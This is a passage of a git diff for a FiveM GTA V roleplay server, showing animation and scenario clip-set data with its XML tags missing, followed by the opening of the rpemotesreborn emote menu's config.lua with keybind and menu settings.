move_stealth@p_m_one@2h@idle@c + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_one@2h@idle@d + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_one@2h_short@idle@a + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_one@2h_short@idle@b + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_one@2h_short@idle@c + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_one@2h_short@idle@d + + + + True + Stealth + MMI_2Handed_Short + + + + + + + + + + + + + + + P_M_ONE_GENERIC_UNARMED + + + + + + + + + + + + + + + + True + + + + True + + + True + + + False + Action + + + + + False + Stealth + + + + + True + + + + + + + + + MOVE_P_M_ONE_IDLES@GENERIC + + + + False + + + False + + + False + + + True + + + False + Action + + + + + False + Stealth + + + + + False + move_m@drunk@VERYDRUNK + + + False + move_m@drunk@MODERATEDRUNK + + + False + move_m@drunk@SLIGHTLYDRUNK + + + + + + MOVE_M@_IDLES@WET + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@OUT_OF_BREATH + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@SHAKE_OFF + + + + True + + + True + + + ForceIdleThroughBlendOut + + + move_m@drunk@VERYDRUNK_IDLES@ + + + + True + move_m@drunk@VERYDRUNK + + + + + + MOVE_M@DRUNK@MODERATEDRUNK_IDLES@ + + + + True + move_m@drunk@MODERATEDRUNK + + + + + + MOVE_M@DRUNK@SLIGHTLYDRUNK_IDLES@ + + + + True + move_m@drunk@SLIGHTLYDRUNK + + + + + + + + + + + + + + P_M_TWO_ACTION_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Action + + + + + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@VARIATIONS + + + + True + Action + MMI_Unarmed + + + + + + + + + + + + + + + P_M_TWO_STEALTH_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Stealth + + + + + + + + + + + move_stealth@p_m_two@unarmed@idle@a + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_two@unarmed@idle@b + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_two@unarmed@idle@c + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_two@unarmed@idle@d + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_two@1h@idle@a + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_two@1h@idle@b + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_two@1h@idle@c + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_two@1h@idle@d + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_two@2h@idle@a + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_two@2h@idle@b + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_two@2h@idle@c + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_two@2h@idle@d + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_two@2h_short@idle@a + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_two@2h_short@idle@b + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_two@2h_short@idle@c + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_two@2h_short@idle@d + + + + True + Stealth + MMI_2Handed_Short + + + + + + + + + + + + + + + P_M_TWO_GENERIC_UNARMED + + + + + + + + + + + + + + + + True + + + + True + + + True + + + False + Action + + + + + False + Stealth + + + + + True + + + False + move_m@drunk@VERYDRUNK + + + False + move_m@drunk@MODERATEDRUNK + + + False + move_m@drunk@SLIGHTLYDRUNK + + + + + + + + + MOVE_P_M_TWO_IDLES@GENERIC + + + + False + + + False + + + False + + + True + + + False + Action + + + + + False + Stealth + + + + + + + + MOVE_M@_IDLES@WET + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@OUT_OF_BREATH + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@SHAKE_OFF + + + + True + + + True + + + ForceIdleThroughBlendOut + + + move_m@drunk@VERYDRUNK_IDLES@ + + + + True + move_m@drunk@VERYDRUNK + + + + + + MOVE_M@DRUNK@MODERATEDRUNK_IDLES@ + + + + True + move_m@drunk@MODERATEDRUNK + + + + + + MOVE_M@DRUNK@SLIGHTLYDRUNK_IDLES@ + + + + True + move_m@drunk@SLIGHTLYDRUNK + + + + + + + + + + + + + + + + CIVILIAN_IDLES + + + + REACTION_VARIATIONS + + + + REACT_TO_RAN_OVER + + + + SITTING_IDLES + + + + SHOCK_GOTO + + + SHOCK_GOTO + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + + + move_m@hurry@a + + + + True + + + + + + move_m@hurry@b + + + + True + + + + + + move_m@hurry@c + + + + True + + + + + + move_f@hurry@a + + + + False + + + + + + move_f@hurry@b + + + + False + + + + + + + + + + + + + + + + + + + REACTION_GUNFIRE_INTRO + + + REACTION_GUNFIRE_INTRO + + + + + + + + + + + + + + + + + + + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO@BACK + + + + True + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO@FRONT + + + + True + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO@LEFT + + + + True + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO@RIGHT + + + + True + + + + + + + + + + + + + REACTION_GUNFIRE_INTRO_V1 + + + REACTION_GUNFIRE_INTRO_V1 + + + + + + + + + + + + + + + + + + + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO_V1@BACK + + + + True + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO_V1@FRONT + + + + True + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO_V1@LEFT + + + + True + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO_V1@RIGHT + + + + True + + + + + + + + + + + + + REACTION_GUNFIRE_INTRO_V2 + + + REACTION_GUNFIRE_INTRO_V2 + + + + + + + + + + + + + + + + + + + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO_V2@BACK + + + + True + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO_V2@FRONT + + + + True + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO_V2@LEFT + + + + True + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_INTRO_V2@RIGHT + + + + True + + + + + + + + + + + + + REACTION_SHOCKING_INTRO + + + REACTION_SHOCKING_INTRO + + + + + + + + + + + + + + + + + + + + + + + + + + + ANIM_GROUP_REACT_FLEE_SHOCKING@INTRO@BACK + + + + True + + + + + + + + + ANIM_GROUP_REACT_FLEE_SHOCKING@INTRO@FRONT + + + + True + + + + + + + + + ANIM_GROUP_REACT_FLEE_SHOCKING@INTRO@LEFT + + + + True + + + + + + + + + ANIM_GROUP_REACT_FLEE_SHOCKING@INTRO@RIGHT + + + + True + + + + + + + + + + + + + REACTION_GUNFIRE_RUNS + + + REACTION_GUNFIRE_RUNS + + + + + + + + + + + + + + + + + + + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_RUNS + + + + + + + + + + REACTION_GUNFIRE_RUNS_V1 + + + REACTION_GUNFIRE_RUNS_V1 + + + + + + + + + + + + + + + + + + + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_RUNS_V1 + + + + + + + + + + REACTION_GUNFIRE_RUNS_V2 + + + REACTION_GUNFIRE_RUNS_V2 + + + + + + + + + + + + + + + + + + + + + + + + + + + ANIM_GROUP_REACTION_GUNFIRE_RUNS_V2 + + + + + + + + + + SHOCK_HURRY + + + SHOCK_HURRY_MALE_COWARDLY_A + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + True + BF_COWARDLY_FOR_SHOCKING_EVENTS + + + + + + move_m@hurry@a + + + + + + + + + + + + + + + + + SHOCK_HURRY_MALE_BUTCH_A + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + False + BF_COWARDLY_FOR_SHOCKING_EVENTS + + + + + + move_m@hurry_Butch@A + + + + + + + + + + + + + + + + + SHOCK_HURRY_MALE_COWARDLY_B + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + True + BF_COWARDLY_FOR_SHOCKING_EVENTS + + + + + + move_m@hurry@b + + + + + + + + + + + + + + + + + SHOCK_HURRY_MALE_BUTCH_B + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + False + BF_COWARDLY_FOR_SHOCKING_EVENTS + + + + + + move_m@hurry_Butch@B + + + + + + + + + + + + + + + + + SHOCK_HURRY_MALE_COWARDLY_C + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + True + BF_COWARDLY_FOR_SHOCKING_EVENTS + + + + + + move_m@hurry@c + + + + + + + + + + + + + + + + + SHOCK_HURRY_MALE_BUTCH_C + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + False + BF_COWARDLY_FOR_SHOCKING_EVENTS + + + + + + move_m@hurry_Butch@C + + + + + + + + + + + + + + + + + SHOCK_HURRY_FEMALE_A + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + False + + + + + + move_f@hurry@a + + + + + + + + + + + + + + + + + SHOCK_HURRY_FEMALE_B + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + False + + + + + + move_f@hurry@b + + + + + + + + + + + + + + + + + + + Scenario_Watch_Investigation + + + + IN_TOURBUS + + + CODE_HUMAN_IN_BUS_PASSENGER_IDLES_SIT + + + + + + + + + + + + + + + + False + + + + + + + amb@code_human_in_bus_passenger_idles@female@sit@base + + + + False + + + + + + amb@code_human_in_bus_passenger_idles@male@sit@base + + + + True + + + + + + + + + + amb@code_human_in_bus_passenger_idles@female@sit@idle_a + + + + False + + + + + + amb@code_human_in_bus_passenger_idles@male@sit@idle_a + + + + True + + + + + + amb@code_human_in_bus_passenger_idles@male@sit@idle_b + + + + True + + + + + + + + + + + + + + CODE_HUMAN_IN_BUS_PASSENGER_IDLES_TABLET + TABLET + DestroyPropInsteadOfDrop + + + + + + + + + + + + + + False + + + True + TABLET + + + False + + + + False + + + False + + + + + + amb@code_human_in_bus_passenger_idles@female@tablet@base + + + + + + + + + + amb@code_human_in_bus_passenger_idles@female@tablet@idle_a + + + + + + + + + + + + + + CODE_HUMAN_IN_BUS_PASSENGER_IDLES_COFFEE + COFFEECUPS + DestroyPropInsteadOfDrop + + + + + + + + + + + + + + True + + + True + COFFEECUPS + + + False + + + + False + + + False + + + + + + amb@code_human_in_bus_passenger_idles@male@coffee@base + + + + True + COFFEECUPS + + + + + + + + + + amb@code_human_in_bus_passenger_idles@male@coffee@idle_a + + + + True + COFFEECUPS + + + + + + + + + + + + + + + + IN_TRAIN + + + CODE_HUMAN_TRAIN_DRIVER + + + + + + + + + + + + + + + + True + + + True + + + + True + + + + + + AMB@CODE_HUMAN_TRAIN_DRIVER@BASE + + + + + + + + + + AMB@CODE_HUMAN_TRAIN_DRIVER@IDLE_A + + + + + + + + + + + + + + + + FLEE_COVER_HEAD + + + FLEE_COVER_HEAD + + + + + + + + + + + + + + + + + + ANIM_GROUP_FLEE_COVER_HEAD_A + + + + + + ANIM_GROUP_FLEE_COVER_HEAD_B + + + + + + + + + + + + + + + + + + + SCARED + + + SCARED_MALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + + + + move_m@scared + + + + + + + + + + + + + + + + + SCARED_FEMALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + False + + + + + + move_f@scared + + + + + + + + + + + + + + + + + + + SAD + + + SAD_MALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + + + + move_m@sad@a + + + + + + move_m@sad@b + + + + + + move_m@sad@c + + + + + + + + + + + + + + + + + SAD_FEMALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + False + + + + + + move_f@sad@a + + + + + + move_f@sad@b + + + + + + + + + + + + + + + + + + + BRAVE + + + BRAVE_MALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + + + + move_m@brave + + + + + + + + + + move_m@brave@idle_a + + + + True + Stand + + + + + + move_m@brave@idle_b + + + + True + Stand + + + + + + + + + + + + + + + + BRAVE_IDLES + + + BRAVE_IDLES_MALE + + + + + + + + + + + + + + + + True + + + False + + + + + + + + + move_m@brave@idle_a + + + + True + Stand + + + + + + move_m@brave@idle_b + + + + True + Stand + + + + + + + + + + + + + + + + HURRY + + + HURRY_MALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + True + + + + + + move_m@hurry@a + + + + + + move_m@hurry@b + + + + + + + + + + + + + + + + + HURRY_FEMALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + False + + + True + + + + + + move_f@hurry@a + + + + + + move_f@hurry@b + + + + + + + + + + + + + + + + + + + FLEE + + + FLEE_MALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + + + + move_m@flee@a + + + + + + move_m@flee@b + + + + + + move_m@flee@c + + + + + + + + + + + + + + + + + FLEE_FEMALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + False + + + + + + move_f@flee@a + + + + + + move_f@flee@b + + + + + + move_f@flee@c + + + + + + + + + + + + + + + + + + + INTIMIDATION@COP@UNARMED + + + INTIMIDATION@COP@UNARMED_MALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + + + + move_m@intimidation@cop@unarmed + + + + + + + + + + + + + + + + + INTIMIDATION@COP@UNARMED_FEMALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + False + + + + + + move_f@intimidation@cop@unarmed + + + + + + + + + + + + + + + + + + + INTIMIDATION@1H + + + INTIMIDATION@1H_MALE + + OverrideOnFootClipSetWithBase + + + + + + + + + + + + + + True + + + + + + move_m@intimidation@1h + + + + + + + + + + move_m@intimidation@1h@idle_a + + + + True + Stand + + + + + + + + + + + + + + + + WORLD_HUMAN_TOURIST_MOBILE_CAR + + + WORLD_HUMAN_TOURIST_MOBILE_CAR_MALE + PHONES + SpawnPropInLeftHand DestroyPropInsteadOfDrop + + + + + + + + + + + + + + True + + + False + + + False + TS_LOW + + + + + + AMB@WORLD_HUMAN_TOURIST_MOBILE_CAR_MALE@BASE + + + + + + + + + + + + + + + + + + + IN_TRUCK + + + CODE_HUMAN_IN_CAR_TRUCK_MUSIC_HEADBOB_DRIVER + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + + + + HEADBOB_DRIVER_GENERIC_BASE_TRUCK + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_COUNTRY_BASE_TRUCK + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_HIPHOP_BASE_TRUCK + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_MEXICAN_BASE_TRUCK + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_MOTOWN_BASE_TRUCK + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_PUNK_BASE_TRUCK + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_DRIVER_GENERIC_BASE_TRUCK + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_COUNTRY_IDLE_A_TRUCK + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_HIPHOP_IDLE_A_TRUCK + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_MEXICAN_IDLE_A_TRUCK + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_MOTOWN_IDLE_A_TRUCK + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_PUNK_IDLE_A_TRUCK + + + + True + GENRE_PUNK + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_TRUCK_MUSIC_HEADBOB_FRONT_PASSENGER + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + + + + HEADBOB_PASSENGER_GENERIC_BASE_TRUCK + + + + True + GENRE_GENERIC + + + + + + HEADBOB_PASSENGER_COUNTRY_BASE_TRUCK + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_PASSENGER_HIPHOP_BASE_TRUCK + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_PASSENGER_MEXICAN_BASE_TRUCK + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_PASSENGER_MOTOWN_BASE_TRUCK + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_PASSENGER_PUNK_BASE_TRUCK + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_PASSENGER_GENERIC_IDLE_A_TRUCK + + + + True + GENRE_GENERIC + + + + + + HEADBOB_PASSENGER_COUNTRY_IDLE_A_TRUCK + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_PASSENGER_HIPHOP_IDLE_A_TRUCK + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_PASSENGER_MEXICAN_IDLE_A_TRUCK + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_PASSENGER_MOTOWN_IDLE_A_TRUCK + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_PASSENGER_PUNK_IDLE_A_TRUCK + + + + True + GENRE_PUNK + + + + + + + + + + + + + + CODE_HUMAN_IN_TRUCK_SMOKING_WEED + JOINT + + + + + + + + + + + + SMOKING_IN_CAR_REGISTERED + ANM_WEED_SMOKE + + + BONETAG_R_PH_HAND + + + + + + exhale + ANM_CIG_EXHALE_MTH_CAR + + + BONETAG_HEAD + + + + + + + + + + True + + + True + + + TRUE + + + + TRUE + + + + + + False + + + + True + + + False + + + + False + + + False + + + True + + + True + WEAPON_UNARMED + + + True + Object + + + + + False + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@BASE + + + + True + JOINT + + + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@ENTER + + + + True + + + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@EXIT + + + + True + JOINT + + + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@IDLES_A + + + + True + JOINT + + + + + + AMB@CODE_HUMAN_IN_VAN_SMOKING@IDLES_B + + + + True + JOINT + + + + + + + + + + + + + + + + empty + + + + ON_BIKE_CHOPPER + + + CODE_HUMAN_ON_BIKE_IDLES_CHOPPER_DRIVER + + + + + + + + + + + + + + + + True + + + + True + + + False + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_CHOPPER_DRIVER@BASE + + + + + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_CHOPPER_DRIVER@IDLE_A + + + + + + + + + + + + + + + + ON_BIKE_DIRT + + + CODE_HUMAN_ON_BIKE_IDLES_DIRT_DRIVER + + + + + + + + + + + + + + + + True + + + + True + + + False + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_DIRT_DRIVER@BASE + + + + + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_DIRT_DRIVER@IDLE_A + + + + + + + + + + + + + + + + ON_BIKE_POLICE + + + CODE_HUMAN_ON_BIKE_IDLES_POLICE_DRIVER + + + + + + + + + + + + + + + + True + + + + True + + + False + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_POLICE_DRIVER@BASE + + + + + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_POLICE_DRIVER@IDLE_A + + + + + + + + + + + + + + + + ON_BIKE_QUAD + + + CODE_HUMAN_ON_BIKE_IDLES_QUAD_DRIVER + + + + + + + + + + + + + + + + True + + + + True + + + False + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_QUAD_DRIVER@BASE + + + + + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_QUAD_DRIVER@IDLE_A + + + + + + + + + + + + + + + + ON_BIKE_SCOOTER + + + CODE_HUMAN_ON_BIKE_IDLES_SCOOTER_DRIVER + + + + + + + + + + + + + + + + True + + + + True + + + False + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_SCOOTER_DRIVER@BASE + + + + + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_SCOOTER_DRIVER@IDLE_A + + + + + + + + + + + + + + + + ON_BIKE_SPORT + + + CODE_HUMAN_ON_BIKE_IDLES_SPORT_DRIVER + + + + + + + + + + + + + + + + True + + + + True + + + False + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_SPORT_DRIVER@BASE + + + + + + + + + + AMB@CODE_HUMAN_ON_BIKE_IDLES_SPORT_DRIVER@IDLE_A + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/resources/rpemotesreborn1.6.0/config.lua b/resources/rpemotesreborn1.6.0/config.lua new file mode 100644 index 000000000..8b9fef9f1 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/config.lua @@ -0,0 +1,137 @@ +Config = { + -- Menu Options + MenuLanguage = 'en', -- Change the language of the menu here!. + DebugDisplay = false, -- Set this to true to enable some extra prints + EnableCancelKeybind = true, -- Set this to false if you have something else on X, and then just use /e c to cancel emotes. + CancelEmoteKey = 'x', -- Get the button string here https://docs.fivem.net/docs/game-references/input-mapper-parameter-ids/keyboard/ + MenuKeybindEnabled = true, + MenuKeybind = 'f4', -- Get the button string here https://docs.fivem.net/docs/game-references/input-mapper-parameter-ids/keyboard/ + FavKeybindEnabled = true, -- You can disable the Favorite emote keybinding here. + FavKeybind = 'capital', -- Get the button string here https://docs.fivem.net/docs/game-references/input-mapper-parameter-ids/keyboard/ + SqlKeybinding = false, -- If you have the SQL imported enable this to turn on keybinding. + NotificationsAsChatMessage = false, -- If you don't like native GTA 5 notifications, you can disable them here to have messages in the chat. + Framework = 'qb-core', -- Used for few framework-dependent things. Accepted values: 'qb-core', false + Search = true, -- Used to enable or disable the search feature in the menu. + CancelPreviousEmote = false, -- If turned on, playing an emote will cancel the previous one. + DisableControls = false, -- Disable specific controls when menu is open, can be configured in NativeUI.lua:2452 (approximately) + + -- Menu Customization Options + MenuTitle = '', -- You can change the name of the menu here or leave it blank to remove the text in front of the custom banners + TitleOutline = true, + TitleColour = {R = 255, G = 0, B = 255, A = 255}, --- The colour of the menu banner text in RGB. This is white by default aka 255, 255, 255. See https://www.rapidtables.com/web/color/RGB_Color.html for colours. + MenuPosition = 'right', -- You can change the menu position here. Use 'left' or 'right' + CustomMenuEnabled = true, -- You can change the header image for the menu here, Note this might cause an issue of the image getting stuck on people's screens + + -- Combat Car, and Player Movement Options + DisarmPlayer = false, -- Set this to true if you want to disarm the player when they play an emote. + AllowPunching = false, -- Set this to true if you want to allow people punching while emotes are playing + AllowedInCars = true, -- Set this if you really wanna disable emotes in cars, as of 1.7.2 they only play the upper body part if in a vehicle + -- You can disable the menu here / change the keybind. It is currently set to F4 + -- The keybind you set here will be server-sided for new players. existing players can set their own in the ESC menu keybind settings + AllowInWater = false, -- If turned off, opening the menu and playing an emote will not be possible while swimming + + -- Ragdoll options + RagdollEnabled = false, -- You can enable or disable the Ragdoll keybinding here. + RagdollKeybind = 'u', -- Get the button string here https://docs.fivem.net/docs/game-references/input-mapper-parameter-ids/keyboard/ + -- You can enable or disable Ragdoll as Toggle here. Only works if RagdollEnabled is set to true. + RagdollAsToggle = true, + + -- Expressions, Walks, and More Menu Options + ExpressionsEnabled = true, -- You can disable the Facial Expressions menu here. + PersistentExpression = true, -- Saves expression style to client and applies them on joining + WalkingStylesEnabled = true, -- You can disable the Walking Styles menu here. + PersistentWalk = true, -- Saves walk styles to client and applies them on joining + SharedEmotesEnabled = true, -- You can disable the Shared Emotes here. + AdultEmotesDisabled = false, -- You can disable the Adult Emotes here. + AnimalEmotesEnabled = true, -- You can disable the Animal Emotes here. + + -- Hands Up Options + HandsupEnabled = false, -- You can disable the handsup here / change the keybind. It is currently set to Y + HandsupKeybind = 'Y', -- Get the button string here https://docs.fivem.net/docs/game-references/input-mapper-parameter-ids/keyboard/ + HandsupKeybindEnabled = false, + HandsupKeybindInCarEnabled = false, + PersistentEmoteAfterHandsup = true, -- If true, you will play the emote you were playing previously after you stop handsup. + + -- Pointing Options + PointingEnabled = true, -- You can disable the finger pointing here / change the keybind. It is currently set to B + PointingKeybindEnabled = true, + PointingKeybind = 'B', -- Get the button string here https://docs.fivem.net/docs/game-references/input-mapper-parameter-ids/keyboard/ + PointingKeybindInCarEnabled = false, + PersistentEmoteAfterPointing = true, -- If true, you will play the emote you were playing previously after you stop pointing. + + -- Crouching Options + CrouchEnabled = true, -- If crouching should be enabled. + CrouchKeybindEnabled = true, -- If true, crouching will use keybinds. + CrouchKeybind = 'lcontrol', -- The default crouch keybind, get the button string here: https://docs.fivem.net/docs/game-references/input-mapper-parameter-ids/keyboard/ + CrouchOverride = false, -- If true, you won't enter stealth mode even if the crouch key and the 'duck' key are the same. + FpsMode = false, -- set this to true if you have first-person shooting to disable the ability to crouch and shoot in third-person + + -- Crawling Options + CrawlEnabled = true, -- If crawling should be enabled. + CrawlKeybindEnabled = true, -- If true, crawling will use keybinds. + CrawlKeybind = 'rcontrol', -- The default crawl keybind, get the button string here: https://docs.fivem.net/docs/game-references/input-mapper-parameter-ids/keyboard/ + + -- 